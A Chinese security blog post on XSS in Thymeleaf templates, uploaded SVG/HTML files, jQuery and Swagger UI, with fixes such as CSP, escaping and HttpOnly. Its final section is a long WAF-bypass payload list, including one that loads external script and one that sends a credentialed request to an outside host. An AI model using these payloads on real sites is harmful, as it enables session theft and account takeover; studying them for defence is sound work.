XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

admin 2025年4月21日08:09:26评论0 views字数 13539阅读45分7秒阅读模式

0x01 前言

XSS漏洞其实它早已从传统的“反射/存储/DOM”演化出更多隐蔽场景,本文从攻防两端系统拆解这些新型XSS攻击技巧,其实xss还有更多的隐藏在其他场景中的,这些一般都是容易忽略的,下面详细分析分析,从代码层面也会讲解漏洞原因,还有目前xss的各种修复手法。

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

参考文章:https://xz.aliyun.com/news/16886

https://github.com/whgojp/JavaSecLab/wiki

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料文件

0x02 漏洞详情

模板渲染

有去看过一些 cms,确实是这样的,比如模板的特殊标签

th:text 用于展示纯文本,会对特殊字符进行转义th:utext 则不进行转义,直接展示原始 HTML 内容当获取后端传来的参数中带有 HTML 标签时,th:text 不会解析这些标签,而 th:utext 会解析并渲染它们。这类似于 Vue 中的 v-text 和 v-html

public String handleTemplateInjection(String content,Stringtype, Model model) {    if ("html".equals(type)) {        model.addAttribute("html", content);    } else if ("text".equals(type)) {        model.addAttribute("text", content);    }    return "vul/xss/other";}<div class="layui-card-body layui-text layadmin-text" style="color: red;font-size: 15px;">        <pth:utext="${html}"></p>        <pth:text="${text}"></p></div>

这个规范一下就 ok 了

文件上传 xss

src 中经常遇到的就是 svg ,html,xml,pdf 没有危害就不管了

我们只需要关注一下文件应该怎么写,这个才是重点

html就很简单,就是插入我们的脚本就 ok

<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8"><title>HTML类型</title></head><body><h1>可上传HTML类型文件导致XSS!</h1><script>alert(document.cookie)</script></body></html>

svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE svgPUBLIC"-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svgversion="1.1"id="Layer_1"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"x="0px"y="0px"width="100px"height="100px"viewBox="0 0 751 751"enable-background="new 0 0 751 751"xml:space="preserve"><imageid="image0"width="751"height="751"x="0"y="0"href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /><script>alert(document.cookie)</script></svg>

svg 可以 xss 的原因就是因为可以解析 script 标签

xml

<data><message>This is a &lt;script&gt;alert('XSS')&lt;/script&gt; payload</message></data>

这个比较鸡肋,需要解析 xml 才可以,我觉得最常用的就是 svg 了

组件漏洞

JQuery-XSS 漏洞

<head><metacharset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><!-- 测试JQuery --><scriptsrc="/lib/jquery-1.6.1.js"></script><!-- <script src="./jquery.min.js"></script> --></head>

CVE-2020-11022/CVE-2020-11023

CVE-2020-11022 和 CVE-2020-11023 是 jQuery 的两个跨站脚本(XSS) 漏洞,影响 jQuery 1.2 - 3.5.0 版本,主要与 html() 方法有关。

CVE-2020-11022

影响 $().html() 方法

允许攻击者通过不受信任的 HTML 代码执行恶意 JavaScript 代码

例如,插入 script、iframe、onerror 等危险标签绕过安全检查

CVE-2020-11023

影响 $().html() 方法在 SVG 元素中处理不当

允许攻击者注入恶意 JavaScript,导致 XSS

比如

<divid="content"></div><script>    var userInput = '<img src=x onerror=alert("XSS")>';    $("#content").html(userInput); // 🚨 直接插入,存在漏洞</script>

然后下一个 cve 就是绕过

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

Swagger UI XSS 漏洞(CVE-2023-38418)

<!--swagger依赖--><dependency>    <groupId>io.springfox</groupId>    <artifactId>springfox-boot-starter</artifactId>    <version>3.0.0</version>// 该版本存在xss</dependency>

API 文档的 description、operationId、summary、contact 等字段可被插入恶意 HTML/JavaScript 代码Swagger UI 在渲染这些字段时未对 HTML 进行适当的转义

比如

{  "openapi": "3.0.0",  "info": {    "title": "Swagger XSS",    "version": "1.0.0",    "description": "<script>alert('XSS')</script>"  }}

作者使用的就比较复杂了最后是在远程文件https://jumpy-floor.surge.sh/test.yaml

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

所以需要等待一会才会弹出

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

漏洞代码修复

白名单

// 对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据// 前端校验代码var whitelistRegex = /^[a-zA-Z0-9_s]+$/;// 检查输入值是否符合白名单要求if (!whitelistRegex.test(value)) {    layer.msg('输入内容包含非法字符,请检查输入', {icon: 2, offset: '10px'});    return false// 取消表单提交    } else {        // 正常发送请求    }// 后端校验代码private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\s]+$";private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX);Matcher matcher = pattern.matcher(content);if (matcher.matches()){    return R.ok(content);}else return R.error("输入内容包含非法字符,请检查输入");

xss 的本质就是需要各种标签去解析,如果我们不能输入标签,那么就可以阻止xss

我们只能输入字母、数字、下划线和空格

前端

但是我们如果仅仅只是前端过滤的话,任然可以被绕过,这在 src 中很常见

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

我们输入一个 1 然后抓包

然后再修改我们的 payload

GET /xss/reflect/safe1?content=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%73%73%2f%29%3c%2f%73%63%72%69%70%74%3e&type=frontEnd&_=1738825573547 HTTP/1.1Host127.0.0.1:9898sec-ch-ua: "Chromium";v="125""Not.A/Brand";v="24"Accept: */*Content-Type: application/x-www-form-urlencoded;charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:9898/xss/reflect/safeAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=E6B03C38C24E570648FC87997AAB56B4Connection: keep-alive
XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

所以开发的时候我们需要在后端写我们的过滤逻辑

后端

如果过滤在后端,无论我们是抓包还是前端输入,都会被拦截

即使我们使用 bp

GET /xss/reflect/safe1?content=%3Cscript%3Ealert(%2Fxss%2F)%3C%2Fscript%3E&type=backEnd&_=1738825573552 HTTP/1.1Host127.0.0.1:9898sec-ch-ua: "Chromium";v="125""Not.A/Brand";v="24"Accept: */*Content-Type: application/x-www-form-urlencoded;charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:9898/xss/reflect/safeAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=E6B03C38C24E570648FC87997AAB56B4Connection: keep-alive
XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

可以看到还是需要进行数据的过滤

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

CSP 策略

内容安全策略(CSP:Content Security Policy)是一种由浏览器实施的安全机制(可理解为额外的安全层),旨在减少和防范跨站脚本攻击等安全威胁核心原理:网站通过发送一个 CSP header 头部(也可以在 html 直接设置),告诉浏览器具体的策略(什么是授权的与什么是被禁止的),从而防止恶意内容的加载和执行CSP 指令说明:

default-src指定默认的加载内容的来源,如果未指定其他指令,则默认应用此指令script-src指定允许加载 JavaScript 的来源style-src指定允许加载样式表的来源img-src指定允许加载图片的来源connect-src指定允许向其发送请求的来源(例如 AJAX、WebSocket 连接等)

安全代码

// 内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行// 前端Meta配置<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://apis.example.com; style-src 'self' https://fonts.lug.ustc.edu.cn; img-src 'self' data: https://*.example.com;">// 后端Header配置public String safe2(String content,HttpServletResponse response) {    response.setHeader("Content-Security-Policy","default-src self");    return content;}

我们重点关注 csp 的限制

限制所有资源(脚本、样式、图片等)只能来自同源(self),不允许外部来源的资源加载。

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

然后

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

可以看见 csp 起作用

特殊字符实体转义

// 特殊字符实体转义是一种将HTML中的特殊字符转换为预定义实体表示的过程// 这种转义是为了确保在HTML页面中正确显示特定字符,同时避免它们被浏览器误解为HTML标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞publicR safe3(@ApiParam(String type,String content){String filterContented ="";switch(type){case"manual":content =StringUtils.replace(content,"&","&amp;");content =StringUtils.replace(content,"<","&lt;");content =StringUtils.replace(content,">","&gt;");content =StringUtils.replace(content,""","&quot;");content =StringUtils.replace(content,"'","&#x27;");content =StringUtils.replace(content,"/","&#x2F;");filterContented =content;break;case"spring":filterContented =HtmlUtils.htmlEscape(content);break;...}}

可以看到把我们的关键 xss 代码转义了

我们尝试输入一段 xss 代码测试

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

可以看见成功转义了

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

我们看到代码部分,是会进入 htmlEscape 函数去转义

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

HttpOnly

如果 Cookie 设置了 HttpOnly,那么前端 JavaScript 无法读取 Cookie,即使攻击者利用 XSS 注入恶意脚本,也无法窃取 Cookie。

配置方法如下

三种

// HttpOnly是HTTP响应头属性,用于增强Web应用程序安全性。它防止客户端脚本访问(只能通过http/https协议访问)带有HttpOnly标记的 cookie,从而减少跨站点脚本攻击(XSS)的风险// 单个接口配置public R safe4(String content, HttpServletRequest request,HttpServletResponse response) {    Cookie cookie = request.getCookies()[ueditor];    cookie.setHttpOnly(true); // 设置为 HttpOnly    cookie.setMaxAge(600);  // 这里设置生效时间为十分钟    cookie.setPath("/");    response.addCookie(cookie);    return R.ok(content);}// 全局配置// ueditor、application.yml配置server:  servlet:    session:      cookie:        http-onlytrue// 2、Springboot配置类@Configurationpublic class ServerConfig {    @Bean    public WebServerFactoryCustomizer<ConfigurableWebServerFactorywebServerFactoryCustomizer() {        return factory -> {            Session session = new Session();            session.getCookie().setHttpOnly(true);            factory.setSession(session);            ...}

我们尝试弹一个 cookie

GET /xss/reflect/safe4?content=123%3Cimg%20src%20onerror%3Dalert(document.cookie)%3E123&type=&_=1738834329602 HTTP/1.1Host127.0.0.1:9898sec-ch-ua: "Chromium";v="125""Not.A/Brand";v="24"Accept: */*Content-Type: application/x-www-form-urlencoded;charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:9898/xss/reflect/safeAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: DETECTED_VERSION=5.2.0; MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d; JSESSIONID=44E627B3CA5C93C63DD163C388DCEA7CConnection: keep-alive

我们看看能不能窃取我们的 JSESSIONID

XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

可以看到能获取我们的

MAIN_MENU_COLLAPSE=false; DG_USER_ID_ANONYMOUS=e5dbe5efa486485aa7d6260b97b1fe1d

0x03 XSS绕WafPayload

常用的绕Waf-Payload

字符替换单引号和双引号替换反引号等等alert替换为confirm、prompt、console.log、document.write空格替换为换行符、/**/、/ 加一些%0a%0d*/alert/*括号被过滤<imgsrc=1onerror="window.onerror=eval;throw'=alertx281x29';">根据服务器特性进行双写大小写编码之类的还可以引入外部的js地址<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'各种编码浏览器解码顺序为HTML解码 -> URL解码 -> js(unicode)解码HTML、js、进制编码<imgsrc=xonerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29><ahref=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a><svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')><iframesrc="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">加入特殊字符混淆(和编码结合)<imgsrc="javascrip&#116&#58alert(/xss/);"><scri<!--test--> pt> alert(1);</scr<!--test--> ipt><ahref=javascript:eval("alert(111);var&#x20;x=new&#x20;XMLHttpRequest();x.open('GET','https://icsl.mobius.com/index/1525029829840748545/1',true);x.withCredentials=true;x.send();var&#x20;d=x.responseText;alert(d);")>99999999</a><ahref=ja&NewLine;vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)")()> 1111";//</title><iframesrc=javasc&NewLine;ript&colon;alert(1)></iframe>字符拼接<imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"><imgsrc="x"onerror="frames[`al`+`ert`](1)"><imgsrconerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>alert1变异(alert)(1)a=alert,a(1)alert(String.fromCharCode(49))[1].find(alert)window['al'+'ert'](/xss/)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)aleru0074(String.fru006fmCharCu006fde(49))alu0065rt(1)top['al145rt'](1)top[8680439..toString(30)](1)eval(atob('YWxlcnQoMSk='))"top['ale'+'rt'].call(null,'xss')"al&#101;rt(2)top['alx65rt'](1)[43804..toString(36)].some(confirm)window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")常用payload<imgsrc=xonerror=alert(1)><imgsrc="x"onerror="window['al'+'ert'](1)"><svgonload=alert(1)><formid='test'></form><buttonform='test'formaction='javascript:alert(1)'>X</button><ahref=javascript:[1].find(alert)>xss</a><imgsrc=xonerror = &#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x31&#x31&#x29><iframesrc=javascript:[1].find(alert)></iframe><xmponmousemove="alert(1)">test</xmp><formid="test"></form><buttonform="test"formaction="javascript:prompt(xss)">X</button><xonmouseover="top['ale'+'rt'].call(null,'xss')">test<imgsrc=1onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29"><input/onfocus=_=alert,_(123)><inputonfocus=u0061u006Cu0065u0072u0074(1)autofocus><input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> <svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')><detailsopenontoggle=[43804..toString(36)].some(confirm)><objectdata='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src><EMBEDSRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="type="image/svg+xml"AllowScriptAccess="always"></EMBED><table><captiononclick=aleru0074(String.fru006fmCharCu006fde(49))>Click me

补充:on事件

onsearchonwebkitanimationendonwebkitanimationiterationonwebkitanimationstartonwebkittransitionendonabortonbluroncanceloncanplayoncanplaythroughonchangeonclickoncloseoncontextmenuoncuechangeondblclickondragondragendondragenterondragleaveondragoverondragstartondropondurationchangeonemptiedonendedonerroronfocusonformdataoninputoninvalidonkeydownonkeypressonkeyuponloadonloadeddataonloadedmetadataonloadstartonmousedownonmouseenteronmouseleaveonmousemoveonmouseoutonmouseoveronmouseuponmousewheelonpauseonplayonplayingonprogressonratechangeonresetonresizeonscrollonseekedonseekingonselectonstalledonsubmitonsuspendontimeupdateontoggleonvolumechangeonwaitingonwheelonauxclickongotpointercaptureonlostpointercaptureonpointerdownonpointermoveonpointeruponpointercancelonpointeroveronpointeroutonpointerenteronpointerleaveonselectstartonselectionchangeonanimationendonanimationiterationonanimationstartontransitionendonafterprintonbeforeprintonbeforeunloadonhashchangeonlanguagechangeonmessageonmessageerroronofflineononlineonpagehideonpageshowonpopstateonrejectionhandledonstorageonunhandledrejectiononunload

0x04 总结

XSS虽老,但从未过时。本文涵盖了模板渲染、文件上传、Swagger、jQuery等多个XSS高发点,展示了真实场景下的攻击链与绕过方式。喜欢的师傅可以点赞转发支持一下谢谢!

0x05

原文始发于微信公众号(渗透安全HackTwo):XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月21日08:09:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS目前Web中的另类利用场景和绕Waf的Payload分享|挖洞技巧http://cn-sec.com/archives/3980504.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息